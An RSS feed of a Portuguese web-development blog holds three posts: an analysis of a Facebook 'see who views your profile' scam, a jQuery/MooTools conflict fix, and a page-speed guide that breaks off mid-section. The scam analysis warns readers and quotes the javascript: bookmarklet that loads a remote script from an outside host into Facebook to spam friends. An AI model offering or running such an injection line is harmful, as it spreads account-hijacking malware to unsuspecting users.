<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Blog of a WebDeveloper &#187; JavaScript</title>
	<atom:link href="http://joaopedropereira.com/blog/category/webdevelopment/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://joaopedropereira.com/blog</link>
	<description>Um novo estilo de desenvolvimento</description>
	<lastBuildDate>Sun, 19 Feb 2012 19:30:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Análise Facebook: See who views your profile</title>
		<link>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/</link>
		<comments>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 16:10:45 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[facebook]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1038</guid>
		<description><![CDATA[Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil ! Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta. javascript:&#40;a=&#40;b=document&#41;.createElement&#40;'script'&#41;&#41;.src='//bbbindia4.in/jsp.php',b.body.appendChild&#40;a&#41;;void&#40;0&#41; Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !</p>
<p style="text-align: center;"><a href="http://joaopedropereira.com/blog/wp-content/uploads/2011/04/whoviewprofile_facebook.png" target="_blank"><img class="size-medium wp-image-1039 aligncenter" title="Facebook: See who views your profile" src="http://joaopedropereira.com/blog/wp-content/uploads/2011/04/whoviewprofile_facebook-300x231.png" alt="" width="300" height="231" /></a></p>
<p>Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>a<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">=</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'//bbbindia4.in/jsp.php'</span><span style="color: #339933;">,</span>b.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>void<span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)</p>
<p><span style="font-family: 'Times New Roman'; line-height: normal; font-size: medium;"> </span></p>
<p style="display: inline !important;">Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo &#8220;ataque&#8221; e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil <img src='http://joaopedropereira.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> !</p>
<p style="display: inline !important;">&nbsp;</p>
<p>Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !</p>
<p>&nbsp;</p>
<p>Stay safe.</p>
<p>&nbsp;</p>
<p><span style="text-decoration: underline;"><strong>Anexo:</strong></span> <a title="jsp.php.txt" href="http://feupload.fe.up.pt/get/YLuS4rOIiq2zybE" target="_blank">jsp.php.txt</a></p>
<p>&nbsp;</p>
<div class="shr-publisher-1038"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F' data-shr_title='An%C3%A1lise+Facebook%3A+See+who+views+your+profile'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F' data-shr_title='An%C3%A1lise+Facebook%3A+See+who+views+your+profile'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Trabalhando com jQuery e MooTools ao mesmo tempo</title>
		<link>http://joaopedropereira.com/blog/2010/01/07/trabalhando-com-jquery-e-mootools-ao-mesmo-tempo/</link>
		<comments>http://joaopedropereira.com/blog/2010/01/07/trabalhando-com-jquery-e-mootools-ao-mesmo-tempo/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 18:19:18 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[mootools]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=648</guid>
		<description><![CDATA[Hoje estava a melhorar a área de administração para o portal de um cliente que será brevemente lançado, e deparei-me com o problema&#8230; Tinha um plugin desenvolvido em jQuery e outro em MooTools que queria ver integrado na mesma página. Explicação do Porquê do Erro Acontecer O símbolo &#8216;$&#8217; é usado como objecto pela jQuery [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F01%2F07%2Ftrabalhando-com-jquery-e-mootools-ao-mesmo-tempo%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F01%2F07%2Ftrabalhando-com-jquery-e-mootools-ao-mesmo-tempo%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://joaopedropereira.com/blog/wp-content/uploads/2010/01/jquery-mootools-180x144.gif"><img class="size-full wp-image-649 alignright" title="jQuery &amp; MooTools" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/01/jquery-mootools-180x144.gif" alt="jQuery &amp; MooTools" width="180" height="144" /></a>Hoje estava a melhorar a área de administração para o portal de um cliente que será brevemente lançado, e deparei-me com o problema&#8230; Tinha um plugin desenvolvido em jQuery e outro em MooTools que queria ver integrado na mesma página.</p>
<h2>Explicação do Porquê do Erro Acontecer</h2>
<p>O símbolo &#8216;$&#8217; é usado como objecto pela jQuery e também pela MooTools, logo existe interferência.</p>
<p>Se chamarmos primeiro a jQuery ela vai correr e criar um objecto chamado &#8216;$&#8217; com as funções especificas para jQuery, de seguida, chamamos a MooTools que vai criar o seu o objecto também chamado &#8216;$&#8217; com as funções especificas da MooTools.</p>
<h2>A Solução</h2>
<p>Depois de alguma pesquisa consegui solucionar o problema e ter os dois a funcionar correctamente no mesmo local, apesar da solução mais vista: jQuery.noConflict(); não funcionar no meu caso.</p>
<p>A solução passou por pegar nos ficheiros de funções jQuery e alterar todos os &#8216;$&#8217; para &#8216;jQuery&#8217;, porque é a mesma coisa chamar uma função através do objecto &#8216;$&#8217; quer através do objecto &#8216;jQuery&#8217;, pois o objecto &#8216;$&#8217; é apenas um <em>shortcut</em> para &#8216;jQuery&#8217;.</p>
<p>Depois a ordem que utilizei para chamar as bibliotecas em si foi a jQuery primeiro e de seguida a MooTools.</p>
<p style="text-align: center;"><a href="http://joaopedropereira.com/blog/wp-content/uploads/2010/01/Screenshot1.png" target="_blank"><img class="aligncenter size-medium wp-image-657" title="Screenshot-Replace All" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/01/Screenshot1-300x187.png" alt="" width="300" height="187" /></a></p>
<p style="text-align: center;">
<div class="shr-publisher-648"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F01%2F07%2Ftrabalhando-com-jquery-e-mootools-ao-mesmo-tempo%2F' data-shr_title='Trabalhando+com+jQuery+e+MooTools+ao+mesmo+tempo'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F01%2F07%2Ftrabalhando-com-jquery-e-mootools-ao-mesmo-tempo%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F01%2F07%2Ftrabalhando-com-jquery-e-mootools-ao-mesmo-tempo%2F' data-shr_title='Trabalhando+com+jQuery+e+MooTools+ao+mesmo+tempo'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/01/07/trabalhando-com-jquery-e-mootools-ao-mesmo-tempo/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Diminuir Load Times no Carregamento de Páginas Web</title>
		<link>http://joaopedropereira.com/blog/2009/04/03/optimizacao-websites/</link>
		<comments>http://joaopedropereira.com/blog/2009/04/03/optimizacao-websites/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 22:23:47 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[Acessibilidade]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Optimização]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[parallel load]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=178</guid>
		<description><![CDATA[Um aspecto muito importante que é necessário ter em conta aquando do desenvolvimento de páginas web é a acessibilidade de uma página e do tempo que a página demora a estar pronta para ser utilizada, pois caso o tempo de carregamento (load time) seja elevado, os visitantes não vão gostar podendo até retroceder e não [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F04%2F03%2Foptimizacao-websites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F04%2F03%2Foptimizacao-websites%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Um aspecto muito importante que é necessário ter em conta aquando do desenvolvimento de páginas web é a acessibilidade de uma página e do tempo que a página demora a estar pronta para ser utilizada, pois caso o tempo de carregamento (load time) seja elevado, os visitantes não vão gostar podendo até retroceder e não voltar a essa página, logo load times elevados correspondem quase que directamente a visitantes / utilizadores / membros / clientes perdidos.</p>
<p style="text-align: center;"><strong>Tempo de carregamento baixo = &#8211; tempo perdido = utilizador contente</strong></p>
<p>Então podemos concluir que é necessário diminuir os tempos de carregamento das páginas e neste artigo vão ser abordadas várias formas de como reduzir os tempos de carregamento tendo em conta a optimização do JavaScript, do CSS, das imagens bem como optimização do lado do servidor nomeadamente com a utilização de PHP. <span id="more-178"></span></p>
<h2>JavaScript</h2>
<p>O JavaScript é uma linguagem que tem vindo, sucessivamente, a tornar-se cada vez mais popular entre os programadores de webservices pois tem aplicações desde a passagem de argumentos para o servidor sem ser necessário recarregar a página até aos efeitos que o JavaScript permite adicionar às páginas e seus elementos.  Mas, infelizmente, todas estas funcionalidades e coisas boas que o JavaScript traz tem um preço&#8230; Muitas vezes os ficheiros JavaScript tornam-se muito pesados, quer por serem bibliotecas como a jQuery, MooTools, dojo, ExtJS, etc. ou mesmo porque desenvolvemos grande parte da interface recorrendo a esta linguagem, o que vai adicionar centenas de kilobytes de informação às páginas. E o utilizador é exigente, quer páginas com tempos de carregamento baixos, mas também gosta de todas as facilidades e das interfaces que o JavaScript lhe proporciona. Assim, torna-se necessário, para não causar descontentamento no utilizador, correlacionar estes dois aspectos, é importante encontrar um ponto de equilibro.  Como encontrar um ponto de equilibro entre a utilização &#8220;massiva&#8221; de JavaScript e a exigência dos utilizadores?</p>
<h3>Conteúdo duplicado para quê?</h3>
<p>Sim, pode parecer óbvio que não se deve ter o mesmo script repetido na mesma página mas é algo que é muito comum e vai gerar dois pedidos HTTP por cada componente a descarregar e utilizar mais capacidade de processamento por parte do browser do utilizador, factores que levam a que a página demore mais tempo a ser carregada inutilmente. Verifique sempre se não tem conteúdo duplicado por acaso!  Uma outra solução é utilizar PHP, ou outra linguagem server-side, para adicionar os ficheiros JavaScript ao HTML e verificar se já foi adicionado ou não, tornando assim o código mais profissional e menos susceptivel a falhas e/ou faltas de atenção / verificação.</p>
<h3>Colocar os scripts no fundo da página</h3>
<p>O grande problema com os scripts é que os browsers não permitem descarregar mais nenhum componente externo enquanto está a descarregar um script.  Para optimizar o carregamento da página é então aconselhável que se movam os scripts para o fundo do body, no entanto, existem scripts que não podem ser movidos para o fundo pois passam conteúdo valioso para a página (por exemplo).  Uma solução alternativa é utilizar o atributo defer.</p>
<blockquote><p>&#8220;When set, this boolean attribute provides a hint to the user agent that the script is not going to generate any document content (e.g., no &#8220;document.write&#8221; in javascript) and thus, the user agent can continue parsing and rendering.&#8221; (<a title="Designing documents for user agents that support scripting" href="http://www.w3.org/TR/html4/interact/scripts.html#h-18.2" target="_blank">ver aqui</a>)</p></blockquote>
<p>Assim ao utilizar o atributo defer estamos a dizer ao browser que pode continuar a carregar a página e carregar o script apenas no fim. O que vai reduzir substancialmente o tempo de carregamento, tal como é pretendido.</p>
<h3>Descarregar ficheiros em paralelo</h3>
<p>Caso façamos uma introdução &#8220;normal&#8221; na nossa página de ficheiros JavaScript isso vai fazer com que os ficheiros sejam descarregados um de cada vez, diminuindo assim o tempo de carregamento da página.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">(...)
&lt;script src=&quot;script1.js&quot; type=&quot;text/javascript&quot;&gt;&lt;!--mce:0--&gt;&lt;/script&gt;
&lt;script src=&quot;script2.js&quot; type=&quot;text/javascript&quot;&gt;&lt;!--mce:1--&gt;&lt;/script&gt;
(...)</pre></div></div>

<p><img class="aligncenter size-medium wp-image-281" title="Not Parallel Download" src="http://joaopedropereira.com/blog/wp-content/uploads/2009/04/not_parallel-300x30.png" alt="Not Parallel Download" width="300" height="30" /></p>
<p>Utilizando a forma normal de inserir os scripts na página vai acontecer que o script2.js só começa a ser descarregado depois do script1.js estar completamente descarregado. Mas para quê esta espera se os acessos de hoje são de banda larga e suportam altas velocidades? Podemos descarregar ambos paralelamente, ao mesmo tempo.</p>
<p>Caso os ficheiros sejam descarregados de forma paralela o tempo de carregamento da página vai diminuir, e como podemos fazer isso? É tão simples como saber utilizar o document.write</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">(...)
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;&lt;!--</span>mce<span style="color: #339933;">:</span><span style="color: #CC0000;">2</span><span style="color: #339933;">--&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span>&lt;script src=&quot;script1.js&quot; type=&quot;text/javascript&quot;&gt;&lt;!--mce:3--&gt;&lt;/script&gt;&lt;script src=&quot;script2.js&quot; type=&quot;text/javascript&quot;&gt;&lt;!--mce:4--&gt;&lt;/script&gt;
(...)</pre></div></div>

<p><img class="aligncenter size-medium wp-image-282" title="Parallel Download" src="http://joaopedropereira.com/blog/wp-content/uploads/2009/04/parallel-300x31.png" alt="Parallel Download" width="300" height="31" /></p>
<p>Como podemos observar, o segundo exemplo permite que os ficheiros sejam descarregados mais rápidamente pois o download é efectuado ao mesmo tempo. Para mais informações sobre downloads em paralelo continue a ler o artigo e na secção Server-Side este tema será novamente abordado.</p>
<h3>Ferramentas para a optimização de código JavaScript</h3>
<ul>
<li><a title="Javascript Compressor - compress code online for free" href="http://javascriptcompressor.com/" target="_blank">Javascript Compressor &#8211; compress code online for free</a></li>
<li><a title="YUI Compressor" href="http://developer.yahoo.com/yui/compressor/" target="_blank">YUI Compressor</a></li>
</ul>
<h2>CSS</h2>
<p>Todas as páginas web utilizam folhas de estilo (<a title="Mais Informações sobre CSS" href="http://pt.wikipedia.org/wiki/Cascading_Style_Sheets" target="_blank">CSS -Cascading Style Sheets</a>) e dependendo do design e da estrutura da folha de estilo esta pode ser maior ou menor mas em ambos os casos leva tempo a carregar e esse tempo deve, tal como nos outros pontos abordados neste artigo, de ser diminuido ao máximo! Além da validação sempre necessária vão ser apresentadas algumas formas de optimizar o código CSS. (<a title="CSS Validator" href="http://jigsaw.w3.org/css-validator/" target="_blank">validar CSS aqui</a>).</p>
<h3>Folhas de estilo no topo</h3>
<p>Colocar as folhas de estilo no topo da página faz com que as páginas possam carregar progressivamente e que o utilizador vá vendo o design a surgir. É muito importante dar aos utilizadores um feedback visual mal seja possível (<a title="Response Times: The Three Important Limits" href="http://www.useit.com/papers/responsetime.html" target="_blank">ver estudo aqui</a>), no caso de uma página web a estrutura da página é o nosso indicador de progressão no carregamento da página. Ao carregar a estrutura progressivamente da página (exemplo: header -&gt; menu -&gt; left sidebar -&gt; contéudo) tudo isto vai servir como feedback visual para o visitante que está à espera da página.  Caso as folhas de estilo aparecessem mais para o fim, o utilizador enquanto a página fosse carregando iria ter um visual sem estilo algum, sem uma ordem, e por isso pode facilmente desinteressar-se pela página.  É também uma especificação HTML dada pelo World Wide Web Consortium (<a title="Document relationships: the LINK element" href="http://www.w3.org/TR/html4/struct/links.html#h-12.3" target="_blank">ver aqui</a></p>
<p>).</p>
<h3>Optimizar o Código CSS</h3>
<p>Existem várias formas de se optimizar o código CSS sem reduzir de forma alguma as suas capacidades tornando apenas o código mais pequeno e mais conciso.  Exemplo:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#div_xpto</span> <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">padding-top</span><span style="color: #00AA00;">:</span><span style="color: #933;">15px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding-bottom</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">13px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding-right</span><span style="color: #00AA00;">:</span><span style="color: #933;">0px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Neste exemplo podem ser feitas duas alterações de forma a optimizar o código.  Unir as componentes da propriedade padding na própria propriedade. A ordem é sempre  top, right, bottom, left (Menomónica possível: TR BL ou sentido dos ponteiros do relógio( Dica de: http://bit.ly/cY3W9G).</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#div_xpto</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span> <span style="color: #933;">0px</span> <span style="color: #933;">10px</span> <span style="color: #933;">13px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Em vez de utilizarmos 6 linhas utilizamos 1 linha, obtendo o mesmo efeito. Neste exemplo existe ainda outra modificação que podemos fazer que é a de retirar caracteres desnecessários.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#div_xpto</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span> <span style="color: #cc66cc;">0</span> <span style="color: #933;">10px</span> <span style="color: #933;">13px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Como é possível verificar foi retirado depois do 0 os caracteres px porque 0 é uma medida igual quer em pt, px, em, etc. logo é tempo de carregamento (devido a ser um ficheiro menor) que ganhamos.  Caso as medidas padding-top e padding-bottom sejam iguais é possível utilizarmos algo assim: (consideremos as medidas top e bottom de 15px)</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#div_xpto</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span> <span style="color: #cc66cc;">0</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Ou seja combinar a componente top e a componente bottom na mesma.  Também a nível do background (quase todos os websites utilizam esta propriedade) devem ser feitas optimizações:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">div <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">background-image</span><span style="color: #00AA00;">:</span><span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">&quot;fundo.jpg&quot;</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background-color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#ffffff</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background-repeat</span><span style="color: #00AA00;">:</span><span style="color: #993333;">repeat-x</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">background-position</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">top</span> <span style="color: #993333;">center</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Passa a:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">div <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">&quot;fundo.jpg&quot;</span><span style="color: #00AA00;">&#41;</span> <span style="color: #cc00cc;">#fff</span> <span style="color: #000000; font-weight: bold;">top</span> <span style="color: #993333;">center</span> <span style="color: #993333;">repeat-x</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Neste exemplo fizeram-se duas alterações, passaram-se as várias componentes do background tudo para a propriedade sem particionamento e a cor passou de #ffffff a #fff. Esta útlima alteração das cores também pode ser utilizada de forma a optimizar o código.  Se se definam cores utilizando o standard de 6 digitos este pode ser definido apenas por 3 digitos em certos casos. Como por exemplo:  Preto #000000 passa para #000 Branco #ffffff passa para #fff Verde #99ff33 passa para #9f3 Orange #ffcc00 passa para #fc0 Vermelho #ff3300 passa para #f30  Mas por exemplo #930f14 já não pode ser simplificada.  Esta técnica funciona para todas as cores seguras (<a title="Web Safe Colors Palette" href="http://www.lynda.com/resources/webpalette.aspx" target="_blank">ver aqui tabela</a>).  É também muito comum uma outra optmização a nível do código CSS que é combinar elementos. Se tivermos dois elementos que tenham certas caracteristicas iguais, então em vez de se definir duas vezes a mesma caracteristica define-se apenas uma vez englobando ambos os elementos o que torna o código mais limpo e mais leve. Exemplo:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">p <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">13px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.texto</span> <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">13px</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#360</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Como podemos reparar as caracteristicas border, padding margin e font-size são idênticas quer na tag p quer na class .texto. Assim em vez de se definirem essas propriedades duas vezes podem ser definidas apenas uma:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">p<span style="color: #00AA00;">,</span> <span style="color: #6666ff;">.texto</span> <span style="color: #00AA00;">&#123;</span>
<span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">13px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<h3>Ferramentas para Optimização de CSS</h3>
<ul>
<li><a title="CSS Drive - CSS Compressor" href="http://www.cssdrive.com/index.php/main/csscompressor" target="_blank">CSS Drive &#8211;  CSS Compressor</a></li>
<li><a title="Cascading Style Sheets Optimization" href="http://www.cssoptimiser.com/" target="_blank">Cascading Style Sheets Optimization</a></li>
<li><a title="Clean CSS" href="http://www.cleancss.com/" target="_blank">Clean CSS</a></li>
</ul>
<h3>Leitura complementar:</h3>
<ul>
<li><a title="CSS Sprites" href="http://www.alistapart.com/articles/sprites/" target="_blank">CSS Sprites</a></li>
</ul>
<h2>JavaScript / CSS</h2>
<h3>JavaScript e CSS em ficheiros externos</h3>
